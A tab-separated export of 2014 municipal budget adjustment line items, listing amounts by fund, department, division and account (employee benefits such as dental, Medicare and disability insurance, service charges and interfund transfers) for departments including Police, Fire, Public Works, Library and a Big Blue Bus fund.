5818	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511748.0	DENTAL	808.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
5819	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511748.0	DENTAL	808.0	Salaries and Wages	2014	27935.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27935.0
5820	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	7302.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7302.0
5821	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	27653.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27653.0
5822	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	19962.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19962.0
5823	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	2889.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2889.0
5824	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	825.0
5825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	1520.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1520.0
5826	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5827	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	128542.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	128542.0
5828	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	113197.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	113197.0
5829	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
5830	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		UNEMPLOYMENT	804.0	Salaries and Wages	2014	449.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	449.0
5831	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DCAP	804.0	Salaries and Wages	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
5832	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1476.0
5833	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DCAP	804.0	Salaries and Wages	2014	1452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1452.0
5834	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	14357.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14357.0
5835	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4949.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4949.0
5836	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		EAP	804.0	Salaries and Wages	2014	1458.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1458.0
5837	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578771.0	PARKING AUTH/ GENERAL IFT	908.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5838	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	209696.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209696.0
5839	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	20913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20913.0
5840	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	16480.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16480.0
5841	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	8542.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8542.0
5842	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	11038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11038.0
5843	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	35602.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	35602.0
5844	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	11376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11376.0
5845	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2014	-173047.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-173047.0
5846	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2014	-154324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-154324.0
5847	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	8576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8576.0
5848	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	324.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	324.0
5849	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	52521.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	52521.0
5850	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2014	-389215.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-389215.0
5851	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
5852	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1073.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1073.0
5853	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2014	36619.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36619.0
5854	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	882.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	882.0
5855	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1686.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1686.0
5856	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	5615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5615.0
5857	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	317835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	317835.0
5858	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555940.0	GRAD NIGHT SUBSIDY	810.0	 Supplies and Expenses	2014	8752.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8752.0
5859	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	2434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2434.0
5860	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		DCAP	816.0	Salaries and Wages	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
5861	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DCAP	816.0	Salaries and Wages	2014	2496.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2496.0
5862	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	3379.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3379.0
5863	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	1647.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1647.0
5864	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5865	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5866	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EAP	806.0	Salaries and Wages	2014	16749.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16749.0
5867	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	115944.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	115944.0
5868	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		DCAP	806.0	Salaries and Wages	2014	7920.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7920.0
5869	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EAP	806.0	Salaries and Wages	2014	1352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1352.0
5870	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	15957.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15957.0
5871	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2014	8248.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8248.0
5872	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		UNEMPLOYMENT		Salaries and Wages	2014	2848.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2848.0
5873	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		DCAP	840.0	Salaries and Wages	2014	1536.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1536.0
5874	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3075.0
5875	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	4562.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4562.0
5876	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	16961.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16961.0
5877	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	17609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17609.0
5878	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2014	30267.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30267.0
5879	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	293346.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	293346.0
5880	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	726.0
5881	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DCAP	816.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
5882	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	1470.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1470.0
5883	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2448.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2448.0
5884	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EAP	816.0	Salaries and Wages	2014	3645.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3645.0
5885	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	4918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4918.0
5886	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	2764.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2764.0
5887	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		UNEMPLOYMENT	806.0	Salaries and Wages	2014	72760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72760.0
5888	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EAP	806.0	Salaries and Wages	2014	1353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1353.0
5889	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EAP	840.0	Salaries and Wages	2014	4668.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4668.0
5890	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2014	5688.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5688.0
5891	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	40481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40481.0
5892	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EAP		Salaries and Wages	2014	731.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	731.0
5893	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	805.0
5894	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER		EAP	840.0	Salaries and Wages	2014	2279.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2279.0
5895	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1091.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1091.0
5896	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	3799.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3799.0
5897	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	6919.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6919.0
5898	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1762.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1762.0
5899	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	3216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3216.0
5900	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1879.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1879.0
5901	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	11025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11025.0
5902	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EAP	804.0	Salaries and Wages	2014	2171.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2171.0
5903	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		DCAP	804.0	Salaries and Wages	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
5904	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EAP	808.0	Salaries and Wages	2014	2810.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2810.0
5905	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	3760.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3760.0
5906	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2014	576.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	576.0
5907	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	5913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5913.0
5908	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	3002.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3002.0
5909	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	626.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	626.0
5910	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1017.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1017.0
5911	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		DISABILITY INSURANCE	812.0	Salaries and Wages	2014	6471.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6471.0
5912	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	8096.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8096.0
5913	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		UNEMPLOYMENT	816.0	Salaries and Wages	2014	3066.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3066.0
5914	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		DCAP	816.0	Salaries and Wages	2014	564.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	564.0
5915	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		UNEMPLOYMENT	806.0	Salaries and Wages	2014	12080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12080.0
5916	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		DCAP	806.0	Salaries and Wages	2014	6036.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6036.0
5917	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2014	8368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8368.0
5918	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DCAP	806.0	Salaries and Wages	2014	924.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	924.0
5919	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	3692.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3692.0
5920	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DCAP		Salaries and Wages	2014	504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	504.0
5921	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2448.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2448.0
5922	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EAP	808.0	Salaries and Wages	2014	726.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	726.0
5923	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	2015.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2015.0
5924	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10390.0
5925	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400740.0	OTHER FINES / FORFEITURES	614.0	Fines and Forfeitures	2014	-90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-90000.0
5926	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2854.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2854.0
5927	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	827.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	827.0
5928	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	6458.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6458.0
5929	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3072.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3072.0
5930	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DCAP	808.0	Salaries and Wages	2014	1920.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1920.0
5931	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2014	834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	834.0
5932	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	2179.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2179.0
5933	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3007.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3007.0
5934	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	780.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	780.0
5935	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4722.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4722.0
5936	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EAP	812.0	Salaries and Wages	2014	3214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3214.0
5937	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DCAP	816.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
5938	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	6001.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6001.0
5939	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	23482.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23482.0
5940	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		UNEMPLOYMENT	816.0	Salaries and Wages	2014	5444.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5444.0
5941	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT		UNEMPLOYMENT	806.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5942	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DCAP	806.0	Salaries and Wages	2014	1608.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1608.0
5943	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DCAP	806.0	Salaries and Wages	2014	6684.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6684.0
5944	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144.0
5945	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	910.0	 Supplies and Expenses	2014	100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100000.0
5946	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1588.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1588.0
5947	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	406000.0	ESTIMATED USER FEE INCREASES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
5948	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
